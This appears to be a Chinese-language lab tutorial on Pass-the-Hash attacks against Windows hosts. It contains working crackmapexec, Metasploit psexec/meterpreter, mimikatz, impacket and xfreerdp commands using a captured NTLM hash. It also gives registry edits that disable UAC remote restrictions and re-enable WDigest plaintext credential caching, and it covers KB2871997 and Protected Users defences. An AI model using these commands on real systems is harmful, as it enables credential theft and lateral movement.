参考文章:内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)-腾讯云开发者社区-腾讯云
哈希传递攻击(Pass-the-Hash,PtH)_c++ 实现 pass the hash功能-CSDN博客
-
域控机器账户:WIN-0V0GAORDC17
-
域控 ip:192.168.72.163
-
域内攻击者机器 ip:192.168.72.158,host:WIN10-01
-
攻击者 kali 机器 ip:192.168.72.162
攻击原理:
使用获取到的用户 hash 进行身份验证(windows server 2012 后,默认内存不存储明文密码),因为 ntlm 认证过程和 kerberos 认证过程默认都是使用用户密码的 hash 来进行认证,使用获得到的用户 hash去碰撞内网中的有权限的机器(通过135 和 445 端口)。
在传统的 Kerberos 协议中,PTH 攻击通常利用存储在系统中的哈希值(如 NTLM 哈希或 Kerberos 密钥派生的哈希值)进行身份验证。攻击者可以通过获取这些哈希值,并用它们来伪造认证请求,从而绕过实际的密码验证过程。
工作组环境和域环境下的 PTH 攻击
-
工作组用户
-
本地普通用户(攻击不成功)
-
本地管理员组用户(攻击不成功)
-
本地管理员组用户中的 administrator(攻击成功)
-
-
域用户(攻击成功)
UAC 的存在导致,工作组环境下 PTH 攻击只有 administrator 用户能攻击成功,原因如下:
UAC 阻止了非 administrator 用户的网络连接。
UAC 的设计目的是为了防止恶意软件利用管理员权限进行破坏。在工作组的环境下,即使使用除 administrator 以外的管理员组用户远程访问,也会受到 UAC 机制的限制,导致不能连接访问网络,由此阻止了黑客工具的连接。
工作组环境下,微软若检测出发起网络连接请求的用户不是 administrator ,而是本地管理员组中的用户,那么 UAC 会删除管理员凭证的令牌,使得网络连接受限。
bypass UAC 使得本地管理员组用户能进行网络连接,导致 PTH 攻击成功方法:
-
LocalAccountTokenFilterPolicy
下图是微软强制执行远程访问的本地帐户限制:
强制执行远程访问的本地帐户限制是由 LocalAccountTokenFilterPolicy 的值控制,当此值不存在或为 0 时,UAC 限制本地用户的远程连接,当设置 LocalAccountTokenFilterPolicy 为 1 时,就会禁用 UAC 远程连接限制,此时执行 PTH 攻击将会生效,这时本地管理员组用户均可以在远程连接时获得一个具有管理员权限的令牌。 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
UAC 限制 administrator 的网络连接
-
FilterAdministratorToken
UAC 的这项设置对应注册表的 FilterAdministratorToken ,默认这项设置是禁用的,如果启用那么就连 administrator 的远程访问都会被 UAC 限制,导致工作组环境下所有的用户 PTH 攻击失效。 reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v FilterAdministratorToken /t REG_DWORD /d 1 /f
PTH攻击:哈希碰撞
攻击原理:
在企业内网环境中,很多计算机在安装的时候使用的是相同的密码。在获取到其中一台机器的 hash 且无法解密为明文,碰撞多台机器。
CrackMapExec
crackmapexec smb 192.168.72.163/24 -u administrator -H 00000000000000000000000000000000:58ff35b4831f039d108d553e68856650
MSF
use exploit /windows/smb/psexec set payload windows/meterpreter/bind_tcp set rhosts 192.168.72.163/24 set smbuser administrator set smbpass 00000000000000000000000000000000:58ff35b4831f039d108d553e68856650 run
PTH攻击:横向移动
攻击原理:
当碰撞出目标机器时,我们需要 PTH 攻击访问目标机器。
MSF
use exploit /windows/smb/psexec set payload windows/meterpreter/reverse_tcp set rhosts 192.168.72.163 set smbuser administrator set smbpass 00000000000000000000000000000000:58ff35b4831f039d108d553e68856650 set smbdomain HACKER run
mimikatz
获取交互式shell privilege::debug sekurlsa::pth /user:administrator /domain:192.168.72.163 /ntlm:58ff35b4831f039d108d553e68856650 在弹出的cmd窗口中,使用wmiexec.vbs执行如下命令进行验证执行交互式命令 cscript wmiexec.vbs /shell 192.168.72.163
impacket
psexec、smbexec、wmiexec、atexec、dcomexec等脚本利用哈希进行横向移动 python psexec.py administrator@192.168.72.163 -hashes 00000000000000000000000000000000:58ff35b4831f039d108d553e68856650
使用 RDP 进行 PTH 攻击
微软 KB2871997 补丁
-
ProtectedUsers 组的支持。
-
RestrictedAdminRDP 模式远程客户端支持。
-
PassTheHash 增强保护。
Protected Users 组的支持(针对域用户 PTH 攻击的防御)
-
Protected Users 组中的用户强制只能使用 Kerberos 协议进行身份验证,拒绝 NTLM 、Digest 和 CredSSP 认证。
-
Kerberos 协议进行身份验证的时候拒绝使用 DES 和 RC4 加密类型,强制使用 AES 加密进行预身份验证。这也意味着目标域需要配置为支持 AES 加密。
-
不能使用 Kerberos 约束性或非约束性委派来委派用户账户。
在使用 AES 加密进行身份认证的 Kerberos 协议中,用户端不需要提供用户 hash( NTLM 哈希或 Kerberos 哈希)。这一点与传统的基于 DES 或 RC4 的 Kerberos 身份验证有很大的不同。具体来说,使用 AES 加密时,身份验证的过程更加依赖于用户的密码以及相关的 密钥衍生算法,而不是直接使用存储的哈希值。由于 AES 加密进行的 Kerberos 协议没有使用到抓取到的哈希值,所以 PTH 在此情况将失效。
Restricted Admin RDP 模式远程客户端支持(防止攻击者窃取用户 hash / 同时产生了新的攻击方式)
-
此模式对于 " Remote Desktop Users " 组内的用户不可用。
RDP 登录:
在此模式之前,RDP 登录是一个交互式的登录,提供正确的用户名和密码能进行访问。RDP 登陆后,目标机器会将用户的凭据存储在目标机器的内存中,导致如果目标机器被入侵,所有 RDP 登录过的用户凭据将盗。
Restricted Admin RDP模式:
此模式支持网络登录,即可以通过用户现有的登录令牌来进行 RDP 身份验证,此模式下的登录在目标主机上不保存用户凭据。
PTH with RDP
Restricted Admin RDP 模式下,支持使用 hash 凭据来进行 RDP 登录远程主机,而不需要输入用户明文密码,因此攻击者可以使用 PTH 攻击支持 Restricted Admin RDP 模式登录的机器。
如果目标支持 Restricted Admin RDP 模式,那么可以通过如下命令进行开启:
REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f 执行以上命令开启了 " Restricted Admin RDP " 模式后,可以执行如下命令查询是否开启成功。值为 0,代表开启; 值为 1,代表关闭 REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
条件:
-
目标机器可以在 Restricted Admin RDP 模式远程登录。
-
要求客户机器(被控机器)也支持 Restricted Admin RDP 模式
-
连接的用户凭据必须是本地管理员组中的用户(本地普通用户不行)
攻击:
privilege::debug sekurlsa::pth /user:administrator /domain:192.168.72.163 /ntlm:58ff35b4831f039d108d553e68856650 "/run:mstsc.exe /restrictedadmin" xfreerdp /v:192.168.72.158 /u:administrator /pth:58ff35b4831f039d108d553e68856650
需要注意的是,如果在 windows 上使用 mimikatz 进行 PTH with RDP 攻击,那么登陆的用户将会是启动 cmd 进程的用户,而不是我们指定的用户,且无法更改。如下图所示,登录用户被锁死为 WIN10-01$ ,而不是我们指定的 administrator ,这是因为这个 cmd 进程是 system 用户启动的,也就是域用户 WIN10-01$ 。所以后续认证将会失败。
使用 xfreerdp 不需要考虑这个问题,如下图:
Pass The Hash 增强保护
-
注销时清除凭据(防止攻击者获取用户 hash )
确保用户注销后清除在 LSASS 内存中缓存用户的明文凭据、NTLM 密码散列、Kerberos TGT 票据等
-
从 LSASS 内存删除明文凭证(防止攻击者获取用户 hash )
将明文凭证从 LSASS 内存中移除,攻击者无法使用 mimikatz 工具获得明文凭证,该功能是通过禁用 Wdigest 认证来实现的,因此默认情况下,Windows 8.1 和 Windows Server2012R2 高版本系统是没有 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 注册表键,说明禁用了 Wdigest 认证,但是如果管理员手动增加这个键,并且赋值为1,即使打了补丁,也能抓到明文凭据,如下命令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
-
引入了新的 SID (防止攻击者针对本地用户进行的PTH攻击)
-
LOCAL_ACCOUNT(S-1-5-113):所有本地帐户继承此 SID
-
LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114):所有管理员组的本地帐户继承此 SID
-
网络管理员可以通过组策略设置 “拒绝从网络访问此计算机” 和 “拒绝通过远程桌面服务登录” 这两个安全选项来禁止本地账户通过远程桌面和网络访问计算机。但是域用户不受影响,因此,补丁引入的这两个新的 SID 对于本地账号的哈希传递攻击有一定缓解作用,不过需要网络管理员手动配置组策略才能生效。
打开组策略,计算机配置——>Windows 设置——>安全设置——>本地策略——>用户权限分配,找到“拒绝从网络访问此计算机”和“拒绝通过远程桌面服务登录”这两个选项,将本地用户添加到这两个选项中。